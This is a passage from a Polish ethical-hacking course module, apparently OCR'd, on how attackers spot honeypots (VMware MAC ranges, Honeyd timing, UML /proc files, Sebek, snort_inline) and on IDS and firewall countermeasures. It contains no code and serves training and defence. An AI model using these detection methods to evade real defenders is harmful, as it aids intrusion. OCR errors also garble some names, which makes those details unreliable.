pit stale potwierdza przychodzace pakiety, nawet jesli rozmiar okna TCP jest zmniejszony do zera.

e Wykrywanie obecnosci wzerow warstwy 2: jesli atakujgcy przeprowadza atak z tej samej sieci,
pojawia sie problem z warstwg 2. Doty smoty warstwy 2 stuzg do blokowania penetracji sieci przez
atakujgcego, ktéry uzyskuje dostep do sieci, a takze do zapobiegania zagrozeniom wewnetrznym.
Atakujgcy moze wykry¢ obecnos¢ tego demona, patrzac na odpowiedzi z unikalnym adresem MAC
0:0:f:ff:ff:ff, ktdry dziata jak rodzaj czarnej dziury. Atakujacy moze réwniez zidentyfikowac obecnos¢
tych dotéw ze smotg, analizujgc odpowiedzi ARP.

e Wykrywanie Honeypotéw dziatajagcych na VMware: VMWare to dostepna na rynku maszyna
wirtualna, ktéra stuzy do jednoczesnego uruchamiania wielu instancji systemu operacyjnego. Te
maszyny wirtualne mozna konfigurowaé z réznymi zasobami maszyn wirtualnych, takimi jak procesor,
pamie¢, dyski, urzadzenia 1/0 itp. Dzieki swoim licznym zaletom VMWare jest szeroko stosowany do
uruchamiania honeypotow. Atakujagcy moga zidentyfikowac instancje uruchomione na maszynie
wirtualnej VMWare, analizujgc adres MAC. Przygladajac sie standardom IEEE dla biezgcego zakresu
adresow MAC przypisanych do VMWare Inc., osoba atakujgca moze zidentyfikowaé obecnos¢
honeypotéw opartych na VMWare.

e Wykrywanie obecnosci Honeyd Honeypot: Honeyd jest powszechnie uzywanym demonem
honeypot. Stuzy do tatwego tworzenia tysiecy honeypotéw. Jest to silnik wdrazania honeypotéw
symulowanych w sieci i ustugach. Ten miodowy honeypot moze odpowiedzie¢ zdalnemu atakujgcemu,
ktéry probuje skontaktowac sie z ustugg SMTP, wysytajac fatszywe odpowiedzi. Atakujgcy moze
zidentyfikowaé obecnos¢ honeyd honeypot, wykonujgc oparte na czasie metody pobierania odciskow
palcéw TCP (zachowanie proxy SYN). Ponizszy rysunek pokazuje réznice miedzy odpowiedzig na
normalny komputer a odpowiedziag honeyd honeypot na reczne Zzadanie SYN wystane przez
atakujacego.

e Wykrywanie obecnosci Honeypot systemu User-Mode Linux (UML): User-Mode Linux jest
oprogramowaniem typu open source na licencji GNU, ktére stuzy do tworzenia maszyn wirtualnych i
jest wydajne we wdrazaniu honeypotow. Atakujgcy mogg zidentyfikowaé honeypoty UML, analizujgc
pliki, takie jak /proc/mounts, /proc/interrupts i /proc/cmdline, ktére zawierajg informacje specyficzne
dla UML.



e Wykrywanie obecnosci Honeypotéw opartych na Sebek: Sebek to oparta na serwerze/kliencie
aplikacja honeypot, ktoéra przechwytuje rootkity i inne ztoSliwe oprogramowanie, ktére przejmuje
wywotanie systemowe read(). Takie honeypoty rejestrujg wszystkie dane, do ktérych uzyskano dostep
poprzez wywotanie read(). Atakujacy mogg wykry¢ istnienie honeypotéw opartych na Sebek, analizujac
przecigzenie w warstwie sieci, poniewaz komunikacja danych Sebek jest zwykle niezaszyfrowana.
Poniewaz Sebek rejestruje wszystko, do czego uzyskuje sie dostep poprzez wywotanie read () przed
przeniesieniem do sieci, powoduje to efekt przecigzenia.

* Wykrywanie obecnosci Snortjnline Honeypot: Snortjnline to zmodyfikowana wersja Snort IDS, ktdra
jest w stanie manipulowaé pakietami. Moze przepisywaé reguty w iptables i jest uzywany gtéwnie w
sieciach Honeynet Genii (2. generacji) do blokowania znanych atakéw i unikania odbijania sie
atakujgcego. Atakujacy mogg zidentyfikowac te honeypoty, analizujgc pakiety wychodzace. Jesli pakiet
wychodzgcy zostanie porzucony, atakujgcemu moze to wygladac jak czarna dziura, a kiedy snortjnline
modyfikuje pakiet wychodzacy, atakujacy moze przechwyci¢ zmodyfikowany pakiet przez inny system
hosta i zidentyfikowa¢ modyfikacje pakietu.

* Wykrywanie obecnosci fatszywego punktu dostepowego: Fatszywe punkty dostepowe to takie, ktore
tworzg fatszywe ramki nawigacyjne 802.11b z losowo generowanymi przypisaniami ESSID i BSSID
(adres MAC). Fatszywe punkty dostepowe wysytajg tylko ramki nawigacyjne, ale nie generujg zadnego
fatszywego ruchu w punktach dostepowych, a atakujagcy moze monitorowac ruch sieciowy i szybko
zauwazy¢ obecnos¢ fatszywego punktu dostepowego.

* Wykrywanie obecnosci putapek typu Bait i Switch: Honeypoty typu Bait i Switch aktywnie uczestnicza
w mechanizmach bezpieczedstwa wykorzystywanych do szybkiego reagowania na nadchodzace
zagrozenia i ztosliwe préby. Przekierowujg caty ztosliwy ruch sieciowy do honeypota po wykryciu
jakiejkolwiek proby wtamania. Atakujacy moze zidentyfikowac obecnos¢ takich honeypotéw, patrzac
na okreslone parametry TCP/IP, takie jak czas podrdzy w obie strony (RTT), czas zycia (TTL) i znacznik
czasu TCP.

Narzedzia do wykrywania Honeypot

Atakujacy uzywajg narzedzi do wykrywania putapek typu honeypot, takich jak Send-Safe Honeypot
Hunter (http://www.sendsofe.com) i kippo_detect (https://github.com), aby wykrywaé putapki typu
honeypot w docelowej sieci organizacyjnej.

Send-Safe Honeypot Hunter

Send-Safe Honeypot Hunter to narzedzie przeznaczone do sprawdzania list serweréw proxy HTTPS i
SOCKS dla ,miodowych garnkéw”.

Cechy:

o Sprawdza listy serwerdw proxy HTTPS, SOCKS4 i SOCKS5 z dowolnymi portami

o Sprawdza jednoczesnie kilka zdalnych lub lokalnych list proxy

o0 Moze przesytaé pliki ,Prawidtowe serwery proxy” i ,, Wszystkie oprécz honeypotéw” na FTP
0 Moze przetwarzac listy proxy automatycznie w kazdym okreslonym okresie

o Moze by¢ réwniez uzywany do zwyktego sprawdzania poprawnosci listy proxy

Srodki zaradcze IDS/zapory ogniowej



W poprzednich sekcjach omoéwiono rézne narzedzia i techniki wykorzystywane przez osoby atakujgce
w celu ominiecia granic bezpieczenstwa sieci, takich jak IDS, zapory ogniowe i honeypoty, w celu
przedostania sie do docelowych sieci. Konieczne jest bezpieczne wdrozenie i skonfigurowanie tych
mechanizmdw bezpieczenstwa, aby unikng¢ atakéw. Dlatego w tej sekcji omdwiono rézne srodki
zaradcze i najlepsze praktyki w zakresie wzmacniania takich granic bezpieczenstwa sieci.

Jak bronic¢ sie przed unikaniem IDS
Zamknij porty przetgcznika powigzane ze znanymi hostami atakujgcymi.

Przeprowadz dogtebng analize niejednoznacznego ruchu sieciowego pod katem wszystkich mozliwych
zagrozen.

Uzyj pakietu TCP FIN lub Reset (RST), aby zakonczy¢ ztosliwe sesje TCP.

Poszukaj kodu operacji nop innego niz 0x90, aby obroni¢ sie przed problemem z polimorficznym kodem
powtoki.

Szkol uzytkownikéw, aby identyfikowali wzorce atakow i regularnie aktualizowali/tatali wszystkie
systemy i urzadzenia sieciowe. Wdrdéz IDS po doktadnej analizie topologii sieci, charakteru ruchu
sieciowego i liczby hostow do monitorowania.

Uzyj normalizatora ruchu, aby usung¢ potencjalng niejednoznacznos$é ze strumienia pakietow, zanim
dotrg one do IDS.

Upewnij sie, ze system IDS normalizuje pofragmentowane pakiety i umozliwia ich ponowne ztozenie
we wiasciwej kolejnosci.

Zdefiniuj serwer DNS dla programu rozpoznawania nazw klientéw w routerach lub podobnych
urzadzeniach sieciowych.

Wzmocnij zabezpieczenia wszystkich urzadzen komunikacyjnych, takich jak modemy i routery.

Jesli to mozliwe, zablokuj pakiety ICMP TTL, ktérych waznos¢ wygasta, na poziomie interfejsu
zewnetrznego i zmien pole TTL na znaczng wartosé, aby host koricowy zawsze odbierat pakiety.

Regularnie aktualizuj baze sygnatur antywirusowych.
Uzyj rozwigzania do normalizacji ruchu w IDS, aby chroni¢ system przed uniknieciami.

Przechowuj informacje o ataku (adres IP atakujacego, adres IP ofiary, znacznik czasu itp.) do przysziej
analizy.

Upewnij sie, ze pakiety nadchodzg ze Sciezki zabezpieczonej przez IDS; jesli nie, wykonaj gteboka
analize pakietéw przychodzacych ze sciezek innych niz IDS.

Upewnij sie, ze reguty snort sg idealnie skonfigurowane, aby unikngé¢ atakéw DoS przy uzyciu
fatszywych alarméw snort.

Okresowo sprawdzaj, czy w katalogu regut snort nie wstrzyknieto ztosliwego skryptu.

Zastosuj hybrydowg technike ochrony przed exploitami opartg na sygnaturach, ktéra obejmuje
zaawansowane techniki analizy statystycznej i behawioralnej, aby zapobiega¢ unikaniu IDS przy uzyciu
exploitédw dnia zerowego.

Jak bronié sie przed unikaniem zapory sieciowej



Zapore sieciowg nalezy skonfigurowac w taki sposdb, aby adres IP intruza byt filtrowany.
Ustaw regute zapory tak, aby odrzucata caty ruch i wtaczata tylko wymagane ustugi.

Jesli to mozliwe, utwérz unikalny identyfikator uzytkownika, aby uruchamiaé ustugi zapory, zamiast
uruchamiac je przy uzyciu identyfikatora administratora lub administratora.

Skonfiguruj zdalny serwer syslog i zastosuj surowe $rodki ochrony przed ztosliwymi uzytkownikami.

Monitoruj dzienniki zapory w regularnych odstepach czasu i badaj wszystkie podejrzane wpisy w
dzienniku.

Domyslnie wytgcz wszystkie potaczenia FTP do lub z sieci.

Skataloguj i przejrzyj caty ruch przychodzacy i wychodzacy dozwolony przez zapore.

Regularnie uruchamiaj zapytania dotyczace ryzyka, aby zidentyfikowaé¢ podatne reguty zapory.
Monitoruj dostep uzytkownikéw do zapér i kontroluj, kto moze modyfikowaé konfiguracje zapory.
Okresl zrodtowy i docelowy adres IP oraz porty.

Powiadom administratora polityki bezpieczeristwa o zmianach zapory sieciowej i udokumentuj je.
Kontroluj fizyczny dostep do zapory.

Regularnie twérz kopie zapasowe zestawu regut zapory i plikdw konfiguracyjnych.

Zaplanuj regularne audyty bezpieczeristwa zapory.

Poszukaj zintegrowanej inspekcji HTTPS/TLS, aby chronic sie przed obejsciami.

Uzyj HTTP Evader do uruchamiania automatycznych testéw pod katem podejrzanych obejscia zapory.

Uzyj identyfikacji aplikacji, aby zablokowa¢ ztosliwe aplikacje przed wszelkimi pofgczeniami
wychodzgcymi.

Podsumowanie modutu

W tym module omdéwiono rézne koncepcje i rozwigzania IDS, IPS, firewall i honeypot. Opisano réwniez
rézne techniki omijania IDS i zapdr ogniowych. Wyjasniono réwniez rdézne techniki omijania
zabezpieczen NAC i punktow koricowych. Ponadto zilustrowano rdzne narzedzia do unikania IDS/zapor
ogniowych. Ponadto wyjasniono, jak wykry¢ i pokonaé honeypoty. Ostatecznie zakonczyto sie
szczegdtowym omodwieniem réznych srodkéw zaradczych, ktére nalezy zastosowac, aby zapobiec
prébom obejscia IDS/zapory sieciowej przez cyberprzestepcow. W nastepnym module oméwimy
szczegbtowo, w jaki sposdb osoby atakujgce oraz etyczni hakerzy i pentesterzy dokonujg wtaman na
serwer WWW w celu zdobycia cennych informacji, takich jak numery kart kredytowych i hasta.



